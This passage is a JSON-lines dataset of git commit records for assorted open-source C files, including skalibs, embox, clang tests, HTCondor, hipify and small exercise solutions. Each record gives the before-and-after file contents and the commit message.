{"commit":"f599206963000fd0de474893ba63016392ce988c","old_file":"WOLRelay.c","new_file":"WOLRelay.c","old_contents":"","new_contents":"#include \n#include \n#include \n#include \n#include \n\nint main(int argc, char* argv[]){\n\n}","subject":"Add main C file with standard includes","message":"Add main C file with standard includes\n","lang":"C","license":"mit","repos":"ytaben\/WakeOnLanRelay"} {"commit":"122f9363682e5de8ce4056c4c05c1eaf8935cf19","old_file":"src\/libstddjb\/cdb_free.c","new_file":"src\/libstddjb\/cdb_free.c","old_contents":"\/* ISC license. *\/\n\n#include \n#include \n\nextern void cdb_free (struct cdb *c)\n{\n if (c->map) munmap(c->map, c->size) ;\n *c = cdb_zero ;\n}\n","new_contents":"\/* ISC license. *\/\n\n#include \n#include \n\n#include \n\nextern void cdb_free (struct cdb *c)\n{\n if (c->map)\n {\n int e = errno ;\n munmap(c->map, c->size) ;\n errno = e ;\n }\n *c = cdb_zero ;\n}\n","subject":"Save errno when freeing a cdb","message":" Save errno when freeing a cdb\n\nSigned-off-by: Laurent Bercot <3aa9adbbb49a4d5ab9c798d5e366f54570870800@appnovation.com>\n","lang":"C","license":"isc","repos":"skarnet\/skalibs,skarnet\/skalibs"} {"commit":"47cb8d841569225b3e8e33945313709f964bd932","old_file":"src\/drivers\/tty\/serial\/ttys_oldfs.h","new_file":"src\/drivers\/tty\/serial\/ttys_oldfs.h","old_contents":"\/**\n * @file\n *\n * @date 21.04.2016\n * @author Anton Bondarev\n *\/\n\n#ifndef TTYS_H_\n#define TTYS_H_\n\n#include \n#include \n\nstruct uart;\n\nstruct tty_uart {\n\tstruct idesc idesc;\n\tstruct tty tty;\n\tstruct uart *uart;\n};\n\n#endif \/* TTYS_H_ *\/\n","new_contents":"\/**\n * @file\n *\n * @date 21.04.2016\n * @author Anton Bondarev\n *\/\n\n#ifndef TTYS_H_\n#define TTYS_H_\n\n#include \n#include \n#include \n\nstruct uart;\nstruct tty_uart {\n\tstruct idesc idesc;\n\tstruct tty tty;\n\tstruct uart *uart;\n};\n\nextern struct idesc *uart_cdev_open(struct dev_module *cdev, void *priv);\n\n#define TTYS_DEF(name, uart) \\\n\t\tCHAR_DEV_DEF(name, uart_cdev_open, NULL, NULL, uart)\n\n#endif \/* TTYS_H_ *\/\n","subject":"Add TTYS_DEF macro to oldfs","message":"drivers: Add TTYS_DEF macro to oldfs\n","lang":"C","license":"bsd-2-clause","repos":"embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox,embox\/embox"} {"commit":"389980e3602820768714ef2123cb466db3e0d301","old_file":"test\/Lexer\/gnu_keywords.c","new_file":"test\/Lexer\/gnu_keywords.c","old_contents":"","new_contents":"\/\/ RUN: %clang -DGNU_KEYWORDS -std=gnu89 -fsyntax-only -verify %s\n\/\/ RUN: %clang -DGNU_KEYWORDS -std=c99 -fgnu-keywords -fsyntax-only -verify %s\n\/\/ RUN: %clang -std=c99 -fsyntax-only -verify %s\n\/\/ RUN: %clang -std=gnu89 -fno-gnu-keywords -fsyntax-only -verify %s\n\nvoid f() {\n#ifdef GNU_KEYWORDS\n asm (\"ret\" : :);\n#else\n int asm;\n#endif\n}\n","subject":"Add testcase that I forgot for r101667 for gnu-keywords.","message":"Add testcase that I forgot for r101667 for gnu-keywords.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@101700 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang"} {"commit":"da633160262800462ebda14807cffbb23fc68b29","old_file":"src\/condor_syscall_lib\/syscall_param_sizes.h","new_file":"src\/condor_syscall_lib\/syscall_param_sizes.h","old_contents":"#define STAT_SIZE sizeof(struct stat)\n#define STATFS_SIZE sizeof(struct statfs)\n#define GID_T_SIZE sizeof(gid_t)\n#define INT_SIZE sizeof(int)\n#define LONG_SIZE sizeof(long)\n#define FD_SET_SIZE sizeof(fd_set)\n#define TIMEVAL_SIZE sizeof(struct timeval)\n#define TIMEVAL_ARRAY_SIZE (sizeof(struct timeval) * 2)\n#define TIMEZONE_SIZE sizeof(struct timezone)\n#define FILEDES_SIZE sizeof(struct filedes)\n#define RLIMIT_SIZE sizeof(struct rlimit)\n#define UTSNAME_SIZE sizeof(struct utsname)\n#define POLLFD_SIZE sizeof(struct pollfd)\n#define RUSAGE_SIZE sizeof(struct rusage)\n#define MAX_STRING 1024\n#define EIGHT 8\n#define STATFS_ARRAY_SIZE (rval * sizeof(struct statfs))\n#define PROC_SIZE sizeof(PROC)\n","new_contents":"#define STAT_SIZE sizeof(struct stat)\n#define STATFS_SIZE sizeof(struct statfs)\n#define GID_T_SIZE sizeof(gid_t)\n#define INT_SIZE sizeof(int)\n#define LONG_SIZE sizeof(long)\n#define FD_SET_SIZE sizeof(fd_set)\n#define TIMEVAL_SIZE sizeof(struct timeval)\n#define TIMEVAL_ARRAY_SIZE (sizeof(struct timeval) * 2)\n#define TIMEZONE_SIZE sizeof(struct timezone)\n#define FILEDES_SIZE sizeof(struct filedes)\n#define RLIMIT_SIZE sizeof(struct rlimit)\n#define UTSNAME_SIZE sizeof(struct utsname)\n#define POLLFD_SIZE sizeof(struct pollfd)\n#define RUSAGE_SIZE sizeof(struct rusage)\n#define MAX_STRING 1024\n#define EIGHT 8\n#define STATFS_ARRAY_SIZE (rval * sizeof(struct statfs))\n#define PROC_SIZE sizeof(PROC)\n#define SIZE_T_SIZE sizeof(size_t)\n#define U_SHORT_SIZE sizeof(u_short)\n","subject":"Add macros for sized of \"size_t\" and \"u_short\".","message":"Add macros for sized of \"size_t\" and \"u_short\".\n","lang":"C","license":"apache-2.0","repos":"bbockelm\/condor-network-accounting,bbockelm\/condor-network-accounting,htcondor\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,neurodebian\/htcondor,clalancette\/condor-dcloud,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,htcondor\/htcondor,neurodebian\/htcondor,bbockelm\/condor-network-accounting,htcondor\/htcondor,neurodebian\/htcondor,htcondor\/htcondor,djw8605\/condor,bbockelm\/condor-network-accounting,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor,djw8605\/htcondor,zhangzhehust\/htcondor,mambelli\/osg-bosco-marco,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,zhangzhehust\/htcondor,bbockelm\/condor-network-accounting,djw8605\/htcondor,djw8605\/condor,zhangzhehust\/htcondor,zhangzhehust\/htcondor,neurodebian\/htcondor,zhangzhehust\/htcondor,djw8605\/condor,neurodebian\/htcondor,clalancette\/condor-dcloud,djw8605\/condor,djw8605\/htcondor,mambelli\/osg-bosco-marco,bbockelm\/condor-network-accounting,djw8605\/htcondor,zhangzhehust\/htcondor,htcondor\/htcondor,clalancette\/condor-dcloud,mambelli\/osg-bosco-marco,neurodebian\/htcondor,zhangzhehust\/htcondor,clalancette\/condor-dcloud,htcondor\/htcondor,neurodebian\/htcondor,djw8605\/condor,djw8605\/condor,mambelli\/osg-bosco-marco,zhangzhehust\/htcondor,djw8605\/htcondor,neurodebian\/htcondor,djw8605\/condor,djw8605\/htcondor,clalancette\/condor-dcloud,djw8605\/htcondor"} {"commit":"c47c472d169e5dd2eeadfddb48ac71c114e29559","old_file":"src\/tuple.h","new_file":"src\/tuple.h","old_contents":"\/*\n * tuple.h - define data structure for tuples\n *\/\n#ifndef _TUPLE_H_\n#define _TUPLE_H_\n\n#define MAX_TUPLE_SIZE 4096\n\nunion Tuple {\n unsigned char bytes[MAX_TUPLE_SIZE];\n char *ptrs[MAX_TUPLE_SIZE\/sizeof(char *)];\n};\n\n#endif \/* _TUPLE_H_ *\/\n","new_contents":"\/*\n * Copyright (c) 2013, Court of the University of Glasgow\n * All rights reserved.\n\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n\n * - Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * - Neither the name of the University of Glasgow nor the names of its\n * contributors may be used to endorse or promote products derived from this\n * software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\/\n\n\/*\n * tuple.h - define data structure for tuples\n *\/\n#ifndef _TUPLE_H_\n#define _TUPLE_H_\n\n#define MAX_TUPLE_SIZE 4096\n\nunion Tuple {\n unsigned char bytes[MAX_TUPLE_SIZE];\n char *ptrs[MAX_TUPLE_SIZE\/sizeof(char *)];\n};\n\n#endif \/* _TUPLE_H_ *\/\n","subject":"Add BSD 3-clause open source header","message":"Add BSD 3-clause open source header\n","lang":"C","license":"bsd-3-clause","repos":"fergul\/Cache,jsventek\/Cache,fergul\/Cache,fergul\/Cache,jsventek\/Cache,jsventek\/Cache"} {"commit":"9c77cb0b8980196d0207e7139788cbc99f73d663","old_file":"solutions\/uri\/1040\/1040.c","new_file":"solutions\/uri\/1040\/1040.c","old_contents":"","new_contents":"#include \n\nint main() {\n float a, b, c, d, e, m;\n\n scanf(\"%f %f %f %f\", &a, &b, &c, &d);\n\n m = (a * 2 + b * 3 + c * 4 + d) \/ 10;\n\n printf(\"Media: %.1f\\n\", m);\n\n if (m >= 7.0) {\n printf(\"Aluno aprovado.\\n\");\n } else if (m >= 5.0) {\n printf(\"Aluno em exame.\\n\");\n\n scanf(\"%f\", &e);\n\n printf(\"Nota do exame: %.1f\\n\", e);\n\n if (e + m \/ 2.0 > 5.0) {\n printf(\"Aluno aprovado.\\n\");\n } else {\n printf(\"Aluno reprovado.\\n\");\n }\n\n printf(\"Media final: %.1f\\n\", (e + m) \/ 2.0);\n } else {\n printf(\"Aluno reprovado.\\n\");\n }\n\n return 0;\n}\n","subject":"Solve Average 3 in c","message":"Solve Average 3 in c\n","lang":"C","license":"mit","repos":"deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground,deniscostadsc\/playground"} {"commit":"849dcc2fd36ec01352a3544c501cbbe5afa78d95","old_file":"src\/empathy-accounts-module.c","new_file":"src\/empathy-accounts-module.c","old_contents":"\/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 8 -*-\n *\n * Copyright (C) 2010 Red Hat, Inc.\n * Copyright (C) 2010 Collabora Ltd.\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \n\n#include \n#include \n#include \n#include \n\n#include \"cc-empathy-accounts-panel.h\"\n\nvoid\ng_io_module_load (GIOModule *module)\n{\n textdomain (GETTEXT_PACKAGE);\n\n cc_empathy_accounts_panel_register (module);\n}\n\nvoid\ng_io_module_unload (GIOModule *module)\n{\n}\n","new_contents":"\/* -*- Mode: C; tab-width: 8; indent-tabs-mode: nil; c-basic-offset: 8 -*-\n *\n * Copyright (C) 2010 Red Hat, Inc.\n * Copyright (C) 2010 Collabora Ltd.\n *\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA\n *\/\n\n#include \n\n#include \n#include \n#include \n#include \n\n#include \"cc-empathy-accounts-panel.h\"\n\nvoid\ng_io_module_load (GIOModule *module)\n{\n cc_empathy_accounts_panel_register (module);\n}\n\nvoid\ng_io_module_unload (GIOModule *module)\n{\n}\n","subject":"Remove call to textdomain ()","message":"accounts-module: Remove call to textdomain ()\n\nThis shouldn't be called in shared module.\n\nFixes: https:\/\/bugzilla.gnome.org\/show_bug.cgi?id=617262\n","lang":"C","license":"lgpl-2.1","repos":"GNOME\/telepathy-account-widgets,Distrotech\/telepathy-account-widgets,Distrotech\/telepathy-account-widgets,GNOME\/telepathy-account-widgets,GNOME\/telepathy-account-widgets"} {"commit":"5f4e7951645078f97d8d1acade32f911d51fbd14","old_file":"gvn-plugin\/single-block-test.c","new_file":"gvn-plugin\/single-block-test.c","old_contents":"","new_contents":"int main()\n{\n\tint b = 2, c = 3, d = 4;\n\tint a = b + c;\n\tb = a - d;\n\tint e = b + c;\n\tint f = a - d;\n\treturn 0;\n}\n","subject":"Add test case for single block","message":"Add test case for single block\n","lang":"C","license":"mit","repos":"k4rtik\/btp-gvn,k4rtik\/btp-gvn"} {"commit":"26dd0bf3cf7d2550b292724e302cbda852586ef9","old_file":"tests\/regression\/36-apron\/58-queuesize-const.c","new_file":"tests\/regression\/36-apron\/58-queuesize-const.c","old_contents":"","new_contents":"\/\/ SKIP PARAM: --set ana.activated[+] apron --set ana.apron.domain octagon --enable ana.apron.threshold_widening\n\/\/ TODO: why needs threshold widening to succeed when queuesize doesn't?\n#include \n#include \n\n#define CAPACITY 1000\n\nint used;\nint free;\npthread_mutex_t Q = PTHREAD_MUTEX_INITIALIZER;\n\nvoid pop() {\n pthread_mutex_lock(&Q);\n assert(free >= 0);\n assert(free <= CAPACITY);\n assert(used >= 0);\n assert(used <= CAPACITY);\n assert(used + free == CAPACITY);\n\n if (used >= 1) {\n used--;\n free++;\n }\n\n assert(free >= 0);\n assert(free <= CAPACITY);\n assert(used >= 0);\n assert(used <= CAPACITY);\n assert(used + free == CAPACITY);\n pthread_mutex_unlock(&Q);\n}\n\nvoid push() {\n pthread_mutex_lock(&Q);\n assert(free >= 0);\n assert(free <= CAPACITY);\n assert(used >= 0);\n assert(used <= CAPACITY);\n assert(used + free == CAPACITY);\n\n if (free >= 1) {\n free--;\n used++;\n }\n\n assert(free >= 0);\n assert(free <= CAPACITY);\n assert(used >= 0);\n assert(used <= CAPACITY);\n assert(used + free == CAPACITY);\n pthread_mutex_unlock(&Q);\n}\n\nvoid *worker(void *arg) {\n while (1)\n pop();\n return NULL;\n}\n\nint main() {\n free = CAPACITY;\n used = 0;\n\n assert(free >= 0);\n assert(free <= CAPACITY);\n assert(used >= 0);\n assert(used <= CAPACITY);\n assert(used + free == CAPACITY);\n\n pthread_t worker1;\n pthread_t worker2;\n pthread_create(&worker1, NULL, worker, NULL);\n pthread_create(&worker2, NULL, worker, NULL);\n\n while (1)\n push();\n\n return 0;\n}\n","subject":"Add queuesize test with constant capacity","message":"Add queuesize test with constant capacity\n\nThis can be verified using octagon.\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"} {"commit":"2f376c9b25a8654b508613ddd57851c015f14858","old_file":"hipify-clang\/src\/CUDA2HipMap.h","new_file":"hipify-clang\/src\/CUDA2HipMap.h","old_contents":"#pragma once\n\n#include \"llvm\/ADT\/StringRef.h\"\n#include \n#include \n\n#include \"Types.h\"\n\n\/\/ TODO: This shouldn't really be here. More restructuring needed...\nstruct hipCounter {\n llvm::StringRef hipName;\n ConvTypes countType;\n ApiTypes countApiType;\n int unsupported;\n};\n\n#define HIP_UNSUPPORTED -1\n\n\/\/\/ Macros to ignore.\nextern const std::set CUDA_EXCLUDES;\n\n\/\/\/ Maps cuda header names to hip header names.\nextern const std::map CUDA_INCLUDE_MAP;\n\n\/\/\/ Maps the names of CUDA types to the corresponding hip types.\nextern const std::map CUDA_TYPE_NAME_MAP;\n\n\/\/\/ Map all other CUDA identifiers (function\/macro names, enum values) to hip versions.\nextern const std::map CUDA_IDENTIFIER_MAP;\n\n\/**\n * The union of all the above maps.\n *\n * This should be used rarely, but is still needed to convert macro definitions (which can\n * contain any combination of the above things). AST walkers can usually get away with just\n * looking in the lookup table for the type of element they are processing, however, saving\n * a great deal of time.\n *\/\nconst std::map& CUDA_RENAMES_MAP();\n","new_contents":"#pragma once\n\n#include \"llvm\/ADT\/StringRef.h\"\n#include \n#include \n\n#include \"Types.h\"\n\n\/\/ TODO: This shouldn't really be here. More restructuring needed...\nstruct hipCounter {\n llvm::StringRef hipName;\n ConvTypes countType;\n ApiTypes countApiType;\n bool unsupported;\n};\n\n#define HIP_UNSUPPORTED true\n\n\/\/\/ Macros to ignore.\nextern const std::set CUDA_EXCLUDES;\n\n\/\/\/ Maps cuda header names to hip header names.\nextern const std::map CUDA_INCLUDE_MAP;\n\n\/\/\/ Maps the names of CUDA types to the corresponding hip types.\nextern const std::map CUDA_TYPE_NAME_MAP;\n\n\/\/\/ Map all other CUDA identifiers (function\/macro names, enum values) to hip versions.\nextern const std::map CUDA_IDENTIFIER_MAP;\n\n\/**\n * The union of all the above maps.\n *\n * This should be used rarely, but is still needed to convert macro definitions (which can\n * contain any combination of the above things). AST walkers can usually get away with just\n * looking in the lookup table for the type of element they are processing, however, saving\n * a great deal of time.\n *\/\nconst std::map& CUDA_RENAMES_MAP();\n","subject":"Make `unsupported` actually be a bool...","message":"Make `unsupported` actually be a bool...\n","lang":"C","license":"mit","repos":"ROCm-Developer-Tools\/HIP,ROCm-Developer-Tools\/HIP,GPUOpen-ProfessionalCompute-Tools\/HIP,ROCm-Developer-Tools\/HIP,GPUOpen-ProfessionalCompute-Tools\/HIP,GPUOpen-ProfessionalCompute-Tools\/HIP,ROCm-Developer-Tools\/HIP,GPUOpen-ProfessionalCompute-Tools\/HIP,GPUOpen-ProfessionalCompute-Tools\/HIP,ROCm-Developer-Tools\/HIP"} {"commit":"1ffa2c93463833e800dbac2a5fed09cabdb0da1c","old_file":"tools\/sleep.c","new_file":"tools\/sleep.c","old_contents":"\/\/ Title: sleep\n\/\/ Name: sleep.c\n\/\/ Author: Matayoshi\n\/\/ Date: 2010\/06\/20\n\/\/ Ver: 1.0.0\n\n#include \n#include \n#include \n\nint main(int argc, char* argv[]) {\n\t\/\/ `FbN\n\tif(argc < 2) {\n\t\tfprintf(stdout, \"Usage: %s msec\\n\", argv[0]);\n\t\texit(1);\n\t} else {\n\t\tchar buf[16];\n\t\tint wait = 0;\n\n\t\t\/\/ 񂩂琔lɕϊ\n\t\tsscanf(argv[1], \"%15c\", buf);\n\t\tif(sscanf(buf, \"%d\", &wait) != 1) {\n\t\t\tfprintf(stdout, \"Usage: %s msec\\n\", argv[0]);\n\t\t\texit(1);\n\t\t}\n\n\t\t\/\/ Ŏw肳ꂽ msec sleep(wait)\n\t\tSleep(wait);\n\t}\n\treturn 0;\n}\n","new_contents":"\/\/ Title: sleep\n\/\/ Name: sleep.c\n\/\/ Author: Matayoshi\n\/\/ Date: 2010\/06\/20\n\/\/ Ver: 1.0.0\n\n#include \n#include \n#include \n\nint main(int argc, char* argv[]) {\n\t\/\/ 引数チェック\n\tif(argc < 2) {\n\t\tfprintf(stdout, \"Usage: %s msec\\n\", argv[0]);\n\t\texit(1);\n\t} else {\n\t\tchar buf[16];\n\t\tint wait = 0;\n\n\t\t\/\/ 文字列から数値に変換\n\t\tsscanf(argv[1], \"%15c\", buf);\n\t\tif(sscanf(buf, \"%d\", &wait) != 1) {\n\t\t\tfprintf(stdout, \"Usage: %s msec\\n\", argv[0]);\n\t\t\texit(1);\n\t\t}\n\n\t\t\/\/ 引数で指定された msec だけ sleep(wait)\n\t\tSleep(wait);\n\t}\n\treturn 0;\n}\n","subject":"Change character encoding.(Shift_JIS -> UTF-8)","message":"Change character encoding.(Shift_JIS -> UTF-8)\n","lang":"C","license":"bsd-2-clause","repos":"matayoshi\/tools"} {"commit":"7334efa66bcbcd6bfd95cb9c4d3236a9a469daf1","old_file":"libutils\/include\/utils\/force.h","new_file":"libutils\/include\/utils\/force.h","old_contents":"\/*\n * Copyright 2016, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#pragma once\n\n\/* macros for forcing the compiler to leave in statments it would\n * normally optimize away *\/\n\n#include \n#include \n\n\/* Macro for doing dummy reads\n *\n * Expands to a volatile, unused variable which is set to the value at\n * a given address. It's volatile to prevent the compiler optimizing\n * away a variable that is written but never read, and it's unused to\n * prevent warnings about a variable that's never read.\n *\/\n#define FORCE_READ(address) \\\n volatile UNUSED typeof(*address) JOIN(__force__read, __COUNTER__) = *(address)\n","new_contents":"\/*\n * Copyright 2016, NICTA\n *\n * This software may be distributed and modified according to the terms of\n * the BSD 2-Clause license. Note that NO WARRANTY is provided.\n * See \"LICENSE_BSD2.txt\" for details.\n *\n * @TAG(NICTA_BSD)\n *\/\n\n#pragma once\n\n\/* macros for forcing the compiler to leave in statments it would\n * normally optimize away *\/\n\n#include \n#include \n\n\/* Macro for doing dummy reads\n *\n * Forces a memory read access to the given address.\n *\/\n#define FORCE_READ(address) \\\n do { \\\n typeof(*(address)) *_ptr = (address); \\\n asm volatile (\"\" : \"=m\"(*_ptr) : \"r\"(*_ptr)); \\\n } while (0)\n","subject":"Rephrase FORCE_READ into something safer.","message":"libutils: Rephrase FORCE_READ into something safer.\n\nThis commit rephrases the `FORCE_READ` macro to avoid an unorthodox use of\n`volatile`. The change makes the read less malleable from the compiler's point\nof view.\n\nIt also has the unintended side effect of slightly optimising this operation. On\nx86, an optimising compiler now generates a single load, rather than a load\nfollowed by a store to the (unused) local variable. On ARM, there is a similar\nimprovement, but we also save two instructions for stack pointer manipulation\ndepending on the context in which the macro is expanded.\n","lang":"C","license":"bsd-2-clause","repos":"agacek\/util_libs,agacek\/util_libs,agacek\/util_libs,agacek\/util_libs"} {"commit":"90d4efa6094d0af71afbede10293b30e065e27bf","old_file":"test\/PCH\/changed-files.c","new_file":"test\/PCH\/changed-files.c","old_contents":"const char *s0 = m0;\nint s1 = m1;\nconst char *s2 = m0;\n\n\/\/ FIXME: This test fails inexplicably on Windows in a manner that makes it \n\/\/ look like standard error isn't getting flushed properly.\n\n\/\/ RUN: true\n\/\/ RUNx: echo '#define m0 \"\"' > %t.h\n\/\/ RUNx: %clang_cc1 -emit-pch -o %t.h.pch %t.h\n\/\/ RUNx: echo '' > %t.h\n\/\/ RUNx: not %clang_cc1 -include-pch %t.h.pch %s 2> %t.stderr\n\/\/ RUNx: grep \"modified\" %t.stderr\n\n\/\/ RUNx: echo '#define m0 000' > %t.h\n\/\/ RUNx: %clang_cc1 -emit-pch -o %t.h.pch %t.h\n\/\/ RUNx: echo '' > %t.h\n\/\/ RUNx: not %clang_cc1 -include-pch %t.h.pch %s 2> %t.stderr\n\/\/ RUNx: grep \"modified\" %t.stderr\n\n\/\/ RUNx: echo '#define m0 000' > %t.h\n\/\/ RUNx: echo \"#define m1 'abcd'\" >> %t.h\n\/\/ RUNx: %clang_cc1 -emit-pch -o %t.h.pch %t.h\n\/\/ RUNx: echo '' > %t.h\n\/\/ RUNx: not %clang_cc1 -include-pch %t.h.pch %s 2> %t.stderr\n\/\/ RUNx: grep \"modified\" %t.stderr\n","new_contents":"const char *s0 = m0;\nint s1 = m1;\nconst char *s2 = m0;\n\n\/\/ FIXME: This test fails inexplicably on Windows in a manner that makes it \n\/\/ look like standard error isn't getting flushed properly.\n\n\/\/ RUN: false\n\/\/ XFAIL: *\n\n\/\/ RUN: echo '#define m0 \"\"' > %t.h\n\/\/ RUN: %clang_cc1 -emit-pch -o %t.h.pch %t.h\n\/\/ RUN: echo '' > %t.h\n\/\/ RUN: not %clang_cc1 -include-pch %t.h.pch %s 2> %t.stderr\n\/\/ RUN: grep \"modified\" %t.stderr\n\n\/\/ RUN: echo '#define m0 000' > %t.h\n\/\/ RUN: %clang_cc1 -emit-pch -o %t.h.pch %t.h\n\/\/ RUN: echo '' > %t.h\n\/\/ RUN: not %clang_cc1 -include-pch %t.h.pch %s 2> %t.stderr\n\/\/ RUN: grep \"modified\" %t.stderr\n\n\/\/ RUN: echo '#define m0 000' > %t.h\n\/\/ RUN: echo \"#define m1 'abcd'\" >> %t.h\n\/\/ RUN: %clang_cc1 -emit-pch -o %t.h.pch %t.h\n\/\/ RUN: echo '' > %t.h\n\/\/ RUN: not %clang_cc1 -include-pch %t.h.pch %s 2> %t.stderr\n\/\/ RUN: grep \"modified\" %t.stderr\n","subject":"Use Daniel's trick for XFAIL'd tests","message":"Use Daniel's trick for XFAIL'd tests\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@99515 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"} {"commit":"9b50cff3beb46f8c14c045f71551e5be5bc4d287","old_file":"linkedLists\/intersectY.c","new_file":"linkedLists\/intersectY.c","old_contents":"","new_contents":"#include \"listHelper.h\"\n\nint intersectNode(struct linkList *l1, struct linkList *l2, int m, int n) {\n\n\t\/* l1\n\t\t\\ l2\n\t\t \\ \/\n\t\t \\\/\n\t\t |\n\t\t |\n\tl1 is list1 with length m\n\tl2 is list2 with length n\n\there, m is 5 and n is 4\n\tso diff = abs(m-n) = 1\n\twe need to hop 1 step on l1 to reach l2's length.\n\tfrom here on, we loop till end of list and verify id l1 == l2\n\tif l1 == l2 somewhere, we have a Y list\n\t*\/\n\n\tint diff = abs (m -n );\n\tif ( m > n) {\n\t\twhile ( diff ) {\n\t\t\tdiff--;\n\t\t\tl1 = l1->next;\n\t\t}\n\t}\n\tif ( n > m ) {\n\t\twhile ( diff ) {\n\t\t\tdiff--;\n\t\t\tl2 = l2->next;\n\t\t}\n\t}\n\n\twhile (l1 != NULL || l2 != NULL ) {\n\t\tif ( l1 == l2) \n\t\t\treturn l1->data;\n\t\telse {\n\t\t\tl1 = l1->next;\n\t\t\tl2 = l2->next;\n\t\t}\n\t}\n}\n\nvoid\nmain() {\n\n int dat;\n struct linkList *list1 = NULL, *list2 = NULL;\n\n InsertLinkedList(&list1, 21, 1); \/*Insert node in Beginning *\/\n InsertLinkedList(&list1, 31, 2); \/*Insert at position 2 *\/\n InsertLinkedList(&list1, 41, 3);\n InsertLinkedList(&list1, 51, 4);\n InsertLinkedList(&list1, 61, 5);\n InsertLinkedList(&list1, 72, 6);\n InsertLinkedList(&list1, 87, 7);\n\n InsertLinkedList(&list2, 91, 1);\n InsertLinkedList(&list2, 92, 2);\n InsertLinkedList(&list2, 93, 3);\n InsertLinkedList(&list2, 94, 4);\n displayList(list1);\n displayList(list2);\n\n\t\/* build a Y list *\/\n\tlist2->next->next->next->next = list1->next->next->next;\n displayList(list1);\n displayList(list2);\n\n\tprintf ( \"Intersecting node is %d\\n\", intersectNode(list1, list2, 7, 8));\n}\n","subject":"Verify if two lists intersect at Y point.","message":"Verify if two lists intersect at Y point.","lang":"C","license":"mit","repos":"vidya-ranganathan\/algorithms"} {"commit":"94a4b6a3f8de8f9dcd11e3fecacb3444785e6087","old_file":"src\/Draupnir.h","new_file":"src\/Draupnir.h","old_contents":"#ifndef DRAUPNIR_H__\n#define DRAUPNIR_H__\n\n#include \n\n#include \"Sponge.h\"\n#include \"CrcSponge.h\"\n#include 